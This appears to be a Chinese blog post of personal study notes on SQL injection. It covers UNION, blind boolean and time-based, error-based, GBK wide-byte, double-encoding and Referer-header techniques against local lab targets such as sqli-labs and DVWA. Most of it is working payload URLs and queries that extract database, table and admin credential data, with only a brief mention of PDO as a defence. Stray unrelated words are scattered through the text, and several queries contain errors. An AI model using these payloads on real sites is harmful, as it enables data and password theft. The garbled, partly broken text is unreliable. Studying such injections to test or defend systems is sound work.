SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.2二、23 第二十四 二十五天}

首先什么是SQL注入:php

  所谓SQL注入,就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。前端

SQL注入有什么危害?mysql

  危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell(获取网站权限)面试

为何会有SQL注入漏洞?sql

  后端代码在执行的过程将用户输入的数据也当作代码来执行,违背一个原则:代码和数据相分离(本质问题)shell

  前段传递的数据能够随意控制,参数可控;后端对前段传递过来的数据没有过滤或者过滤不严谨,最终致使SQL注入(注入的缘由)数据库

 

首先本人如今只学了四五种SQL注入方式,仅做为学习参看,若有错误多多见谅=。=后端

SQL注入本人认为只要能找到注入点就简单了,大不了各类方式往上面试喽,虽然时间成本很大。浏览器

因此所只要在有跟数据库进行交互的地方就有可能出现SQL漏洞,在这些地方找注入点就很重要啦。服务器

 

SQL注入经常使用的数据库函数及常量

经常使用的数据库函数以及常量

@@tmpdir       临时目录

@@datadir

@@basedir 数据库所在的位置

@@version 版本

@@hostname    当前数据库名字

user()

version()    版本

database()    获取数据库

concat()

group_concat()

concat_wa()

substr():oracle,mysql,mssq   l/substring():mysql,mssql  /mid():mysql          截取字符串

注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度

left(pa1(截取字符串),pa2(截取的长度))     从左边开始截取字符串

right(pa1(截取字符串),pa2(截取的长度))    从右边开始截取字符串

sleep()    让数据库休眠的

ord()      显示字符的ascll

if(条件,条件为真时的返回值或者语句,条件为假时的返回值或者语句)

if(1=1,true,false)

case when 条件 then 条件为真时的返回值或语句 elas 条件为假时的返回时或语句 end

SELECT 1,CASE WHEN 1=1 THEN "hallo" ELAS "goodbye" END,3;

length()   计算字符串的长度

 

联合查询:

SELECT * FROM USERS WHERE id=1 UNION SELECT "a","b","c";

select * from users where user_id=0,1 union select 1,2,union select 1,2,user(),4,5,database(),7;

mysql数据库中:一库一表三字段

mysql>5,0

information_schema mysql>5.0以后自带的,系统库,汇总(其余数据库的库名、表名、字段名)

columns表中存储数据(库名、表名、字段名),须要关注该表下的三个字段

table_schema   字段存储其余数据库的库名

table_name    字段存储其余数据库的表名

column_name    字段存储其余数据库的字段名

select table_schema,table_name,column_name from information_schema.columns;  //查询table_schema(库名)、table_name(表名)、column_name(字段名)对应的数据。

select table_schema,table_name,column_name from information_schema.columns where table_schema="dvwa";      查询数据库汇总中dvwa库下的全部表和字段(16进制执行dvwa也能够)

 

1、手工注入(就是一顿敲啊敲){共分为7步,我认为五步就够用了}

一、检测注入点(可能存在SQL注入的地方),找到相似ID(id/uid/typeid/sid/key~~)的参数(Google Hacking:),后面须要输入一些检测的恶意代码:

'

'and 1=1#

'and 1=2--

-1' or '1'='1

~~~~~~~

需不须要单引号,是由后端的拼接的SQL语句决定的,例如:

id='$id'     前端测试:id=1' and 1=1%23

id=$id 前端测试:id=1 and 1=1%23

输入的恶意payload被成功执行(页面显示效果以及报错信息),说明此处有SQL注入点

接下来还要判断注入方式:主要根据页面的回显效果来决定使用哪一种注入技术

判断从后台数据库中选择的列数,以及哪几列在前端显示?

http://localhost/jdy1.5/typeid.php?typeid=1 order by 5%23

更换数字,根据页面显示效果判断后台数据库选择的列数,5列

union select 1,2,3,4,5%23

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,2,3,4,5%23

根据页面显示效果可知在2的位置显示到前段,便可将2替换为SQL语句

 

二、收集后台数据库信息

查看当前用户:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,user(),3,4,5%23

查看当前数据库:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,databases(),3,4,5%23

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23     查看全部的库

grout_concat   分组并拼接      distinct   去重

 

三、获取当前数据库的表名

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=jdycms),3,4,5%23    // jdycms须要转16进制

 

四、获取当前数据库下指定表下字段名

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=jdy_admin ),3,4,5%23

jdy_admin 须要转16进制

 

五、获取字段数据

http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(username,0x7e,password) from jdy_admin limit 0,1 ),3,4,5%23

limit 0,1  从0行开始显示第一行    0x7e是~

group_concat  显示所有        concat显示选定行

 

六、解密:cmd5 pmd5 等等不少的解密方式

 

七、找后台登陆:猜、目录扫描、信息收集

 

2、盲注:(分为时间盲注和布尔盲注)

盲注:用户提交的数据在后台数据库中执行以后,没有返回任何数据,没法在前端显示测试出的数据,此时须要使用盲注技术、

基于布尔的盲注

基于时间的盲注

 

基于布尔的盲注:

一、探测输入点    '/    1' and 1=1%23   /    1' and '1'='1%23

注意:用户移交的数据被带入到后台数据库中执行,根据页面显示效果判断此处是否存在注入点

 

二、收集数据库信息(当前用户名、当前数据库、版本、)

http://localhost/sqli-labs-master/Less-8/index.php?id=10' and length(user())=14%23

用户长度是14(使用bp依次去爆破)

 

三、

http://localhost/sqli-labs-master/Less-8/index.php?id=10' and ascii(substr(user(),1,1))=114%23

(使用asc码去依次的判断字符)用户首字母是asc马的114也就是r后续依次去判断 root@localhost

ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114

先计算某个表的名字的长度,而后在判断每一个字符

最终找到有价值的表:users

 

四、获取执行表的字段名

select distinct column_name from information_schema.columns where table name=0x7573657273 and table_schema=database() limit 0,1

字段首字母是i,后续依次去判断第一个字段名,第二字段名~~~~

最后找出敏感的字段:username   password

 

五、后去指定字段数据

select group_concat(username,0x7e,password) from users limit 0,1

 

六、解密密文数据,登陆后台

 

基于时间法盲注:

时间的概念:使用特定的函数让数据库去执行,在页面等待必定的时间,来查看当前页面中注入状况

函数:sleep()

select * from dvwa.users where user_id=1 and if(database(user())=14,sleep(5),'true');

最终没有返回值,须要关注的是浏览器的响应时间

benchmark(参数1,参数2),蚕食1表示执行多少次,参数2是某项操做,使用函数或者表达式。              select benchmark(1000000,1000*1000);

一、找到注入点

 

二、获取数据库信息

当前数据库的长度:

select * from dvwa.users where user_id=1 and if(database(database())=14,sleep(5),'true');

获取每一个字符

select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),'true');

 

三、获取当前数据库的表

select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(5),'true');

找价值的表,user

 

四、获取指定表中的字段

select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=102,sleep(5),'true');

找有意义的字段,username  password

 

五、获取内容

select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from dvwa.users limit 0,1)1,1))=102,sleep(5),'true');

 

 

3、报错注入:(便是根据错误回显进行判断)

 

基于报错的注入

报错的含义:利用一些报错的函数构造payload,数据库执行以后会报错,并将咱们须要的数据带出来,达到攻击的目的

 

报错的函数:

(1)extractvalue(参数1,参数2)  从目标XML中返回查询到的字符串,参数1是string格式的XML文档名,参数2是XPATH格式的字符串(须要查询的)

select extractvalue(1,concat(0x7e,(select user()),0x7e));

 

 

 

(2)updatexml(参数1,参数2,参数3)     改变XML文档中符合条件的节点的值,参数1是xml文档,参数2是Xpath格式的字符串,参数3是string格式的替换查找符合条件的数据

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

注意:前二者报错长多有限制32位

 

(3)floor()函数,必须和conut()计数   rand()产生0-1之间的随机小数,若是给了参数(种子),那么会根据该种子产生固定的值    goup by   等函数配合使用(可以达到相同目的的函数均可以替换去使用!)

select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infomation_schema.tables group by x)a

(select count(*)全部记录作个统计,concat(user(),floor(rand(0)*2))拼接两个参数总体做为x from infomation_schema.tables group by x根据X进行排序)a

经过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的缘由是floor(random(0)*2)的不肯定性,便可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,若是key存在于临时表中,则不在临时表中则更新临时表中的数据;若是该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的缘由是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,若是此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,因为是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会致使插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

 

4、宽字节注入:(主要是根据转义特殊字符的注入)

mysql_query("SET NAMES 'gbk'");//设置字符集编码

mysql_set_charset("GBK");//设置字符集编码

mysql_real_escape_string()   

对参数进行过滤转义,具备相似功能的函数有:addslacher()、mysql_escape_string()【php5.3以后就废除了】、魔术引号(magic_quotes_gpc 模块),针对特殊符号 '  "  \  null  <   >  等,

 

GBK编码,针对汉字的一种编码方式,使用两个字节编码一个汉字

1%df'  = 1%df\'   =   1%df%25%27    =1(%df%25)%27  = 1運'

SELECT * FROM news WHERE tid='{$id}'

SELECT * FROM news WHERE tid='{1運'}'  -->会报错

 

漏洞造成原理:对数据库执行以后的结果进行gbk编码,执行过滤你函数会对用户提交的数据进行过滤=宽字节

测试步骤

一、访问站点http://localhost/gbksql/01/?id=1'   查看返回结果

二、http://localhost/gbksql/01/?id=1%df' (为啥使用df?高位在81之后就能用,81~fe) 1%df'---->1%df\'--->1%df5c--->1\運'

三、 http://localhost/gbksql/01/?id=-1%81' union select 1,user(),3%23

 

PDO宽字节防止SQL注入:

PDO:链接数据库--》设置模板--》绑定数据--》执行SQL语句

$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false)   防止大部分的SQL注入

https://www.jianshu.com/p/c0deb8061718

 

5、二次编码注入:

浏览器会对from表单中的数据进行一次URL编码,到达服务器以后会默认解码

PHP中URL解码函数有: urldecode()   rawurldecode()

 

6、HTTP头部SQL注入:(基于HTTP响应包的一种注入方式)

 

步骤1:数据库名security

Referer: ' or updatexml(1,concat('#',(database())),0),'')#

步骤2:表名users

Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#

步骤3:字段名id、username、password

Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#

步骤4:数据

Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#